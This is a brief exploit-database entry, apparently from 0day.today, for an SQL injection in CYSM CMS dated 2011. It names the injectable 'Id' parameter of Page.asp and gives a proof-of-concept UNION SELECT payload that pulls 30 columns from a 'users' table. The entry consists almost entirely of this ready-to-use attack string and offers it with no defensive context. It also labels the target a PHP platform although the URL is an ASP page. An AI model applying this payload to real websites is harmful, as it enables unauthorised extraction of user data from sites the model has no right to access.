CYSM CMS Vulnerable SQL Injection Vulnerability

2011-03-01T00:00:00
ID 1337DAY-ID-15526
Type zdt
Reporter p0pc0rn
Modified 2011-03-01T00:00:00

Description

Exploit for php platform in category web applications

                                        
                                            Web       : http://www.cysm.com.mx
Found by: p0pc0rn 01/03/2011

SQL
---

http://site.com/Page.asp?Id=[SQL]

POC
---

http://site.com/Page.asp?Id=1337 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 from users



#  0day.today [2018-01-03]  #